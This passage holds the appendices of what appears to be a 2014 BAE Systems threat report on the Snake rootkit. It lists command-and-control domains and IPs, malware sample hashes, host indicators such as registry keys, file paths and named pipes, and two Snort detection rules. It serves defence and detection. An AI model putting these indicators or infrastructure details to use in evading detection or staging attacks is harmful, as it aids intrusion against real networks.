wintersport.sytes.net         124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
x-files.zapto.org             124.248.207.50   HK          domains@no-ip.com         NF1.NO-IP.COM
forum.4dq.com                 203.117.122.51   SG          abuse@web.com             NS1.CHANGEIP.ORG
forum.acmetoy.com             203.117.122.51   SG          abuse@web.com             NS1.CHANGEIP.ORG
marketplace.servehttp.com     59.125.160.178   TW          domains@no-ip.com          NF1.NO-IP.COM
music-world.servemp3.com      80.152.223.171   DE          domains@no-ip.com          NF1.NO-IP.COM
newutils.3utilities.com       80.152.223.171   DE          domains@no-ip.com          NF1.NO-IP.COM
interesting-news.zapto.org    80.152.223.171   DE          domains@no-ip.com          NF1.NO-IP.COM
north-area.bbsindex.com                                    abuse@directnic.com        NS1.DTDNS.COM
academyawards.effers.com                                   abuse@directnic.com        NS1.DTDNS.COM
cheapflights.etowns.net                                    abuse@directnic.com        NS1.DTDNS.COM
toolsthem.xp3.biz                                          support@freewha.com        NS2.FREETZI.COM
softprog.freeoda.com                                       support@freewha.com        NS1.ORGFREE.COM
euassociate.6te.net                                        support@freewha.com        NS1.6TE.NET
euland.freevar.com                                         support@freewha.com        NS1.UEUO.COM
communityeu.xp3.biz                                        support@freewha.com        NS2.FREETZI.COM
swim.onlinewebshop.net                                     abuse@enom.com             NS1.RUNHOSTING.COM
july.mypressonline.com                                     abuse@enom.com             NS1.RUNHOSTING.COM
winter.site11.com                                          abuse@godaddy.com          NS1.000WEBHOST.COM
eu-sciffi.99k.org                                          report@abuse.zymic.com NF1.99K.ORG


                                                         BAE Systems Applied Intelligence: Snake Rootkit Report 2014   27
APPENDIX B
MD5 Hash                            File Type          FileSize Compile Time               Notes
Kernel-centric architecture
f4f192004df1a4723cb9a8b4a9eb2fbf    32-bit driver      206 KB      2011-06-24 07:49:41 fdisk.sys, Ultra3.sys
626576e5f0f85d77c460a322a92bb267 32-bit dropper 1,669 KB 2013-02-04 13:19:21 fdisk_mon.exe
90478f6ed92664e0a6e6a25ecfa8e395    64-bit driver      584 KB      2013-02-04 13:17:56 fdisk.sys, Ultra3.sys
1c6c857fa17ef0aa3373ff16084f2f1c    32-bit driver      219 KB      2013-02-04 13:20:00 fdisk.sys, Ultra3.sys

Usermode-centric architecture
973fce2d142e1323156ff1ad3735e50d    32-bit driver      673 KB      2013-08-29 07:34:54 msw32.sys,
                                                                                       cmbawt.sys
2eb233a759642abaae2e3b29b7c85b89 32-bit DLL            416 KB      2013-07-25 05:58:47 dropped DLL

Reconnaissance tool
c82c631bf739936810c0297d31b15519 32-bit exe            176 KB      2013-03-27 08:25:43 wextract.exe

Other analysed samples
f293c9640aa70b49f35627ef7fb58f15    32-bit exe         294 KB      2014-01-28 16:05:32 2014 sample
440802107441b03f09921138303ca9e9 32-bit driver         428 KB      2014-01-24 10:13:06 2014 sample
6406ad8833bafec59a32be842245c7dc    32-bit driver      277 KB      2013-03-29 07:51:34 Ultra3.sys,
                                                                                       Adaptec Windows Ultra3
                                                                                       Family Driver
c09fbf1f2150c1cc87c8f45bd788f91f    32-bit DLL         404 KB      2013-03-28 06:49:36 dropped DLL
                                                                                       mscpx32n.dll
5ce3455b85f2e8738a9aceb815b48aee    32-bit driver      280 KB      2013-03-29 07:44:26 Ultra3.sys,
                                                                                       Adaptec Windows Ultra3
                                                                                       Family Driver
b329095db961cf3b54d9acb48a3711da    32-bit DLL         412 Kb      2013-03-27 07:10:09 dropped DLL
                                                                                       kbdsmfno.dll
cfe0ef3d15f6a85cbd47e41340167e0b    32-bit dropper 363 KB          2012-12-18 08:22:47 mswint.exe,chset.exe
b86137fa5a232c614ec5405be4d13b37 32-bit DLL            223 KB      2012-12-18 08:22:43 libadcodec.dll
47f554745ef2a48baf3298a7aa2937e2    32-bit DLL         42 KB       2012-12-18 08:21:06 oleaut32.dll
ed785bbd156b61553aaf78b6f71fb37b    64-bit driver      435 KB      2011-06-24 07:47:59 A0009548.sys
1c18c3ef8717bb973c5091ce0bbf6428    32-bit exe         179 KB      2011-06-21 12:28:28 MSWAUDIT.EXE, utility




                                                    BAE Systems Applied Intelligence: Snake Rootkit Report 2014   28
APPENDIX C
Location      Type            Data
Memory        Event
                              \BaseNamedObjects\{B93DFED5-9A3B-459b-A617-59FD9FAD693E}
                              \BaseNamedObjects\shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}
                              \BaseNamedObjects\wininet_activate
Memory        Device
                                 \Device\RawDisk1
                                 \Device\RawDisk2
                                 \Device\vstor32
Memory        Antirootkit findings
                                 unknown pages with executable code, that can't be mapped to any driver
                                 presence of custom interrupt 0xC3 along with multiple hooks
                                 hidden drivers Ultra3, ~ROOT, hidden file fdisk.sys
File system   Volume
                                 \\.\Hd1
                                 \\.\Hd2
                                 \\.\vd1
Registry      Key
                                 HKLM\System\CurrentControlSer\Services\Ultra3
                                 HKLM\System\CurrentControlSer\Services\~ROOT
File system   File
                                 %windows%\$NtUninstallQ[random]$\mtmon.sdb
                                 %windows%\$NtUninstallQ[random]$\mtmon_.sdb
                                 %windows%\$NtUninstallQ[random]$\scmp.bin
                                 %windows%\$NtUninstallQ[random]$\ucmp.bin
                                 %windows%\$NtUninstallQ[random]$\isuninst.bin
                                 %windows%\$NtUninstallQ[random]$\mswmpdat.tlb
                                 %windows%\$NtUninstallQ[random]$\wmcache.nld
                                 %windows%\$NtUninstallQ[random]$\SPUNINST\Temp
                                 %system%\vtmon.bin
                                 %windows%\$NtUninstallQ817473$\hotfix.dat
                                 %windows%\$NtUninstallQ817473$\fdisk.sys
                                 %windows%\$NtUninstallQ817473$\fdisk_mon.exe
                                 %windows%\$NtUninstallQ817473$\rkng_inst.exe
Memory        Named Pipe
                                 \\.\Pipe\SP[COMPUTERNAME]
                                 \\.\Pipe\UP[COMPUTERNAME]
                                 \\.\Pipe\isapi_http
                                 \\.\Pipe\isapi_log
                                 \\.\Pipe\isapi_dg
                                 \\.\Pipe\services_control




                                                BAE Systems Applied Intelligence: Snake Rootkit Report 2014   29
APPENDIX D
Canditate SNORT rules:

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:”Snake rootkit, usermode-centric encrypted command from
server”; content:”|01 00 00 00 00 00 00 00|1dM3uu4j7Fw4sjnb”; content:”HTTP/1.1 200 OK”; flow:to_client, established;
sid:1000010;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Snake rootkit, usermode-centric client request”; content:”/1/6b-
558694705129b01c0”; content:”Connection: Keep-Alive|0d 0a|”; flow:to_server,established; sid:1000011;)




                                                          BAE Systems Applied Intelligence: Snake Rootkit Report 2014   30
FOR MORE INFORMATION CONTACT:
BAE Systems Applied Intelligence

E:	marketingai@baesystems.com
W:	www.baesysytems.com/ai



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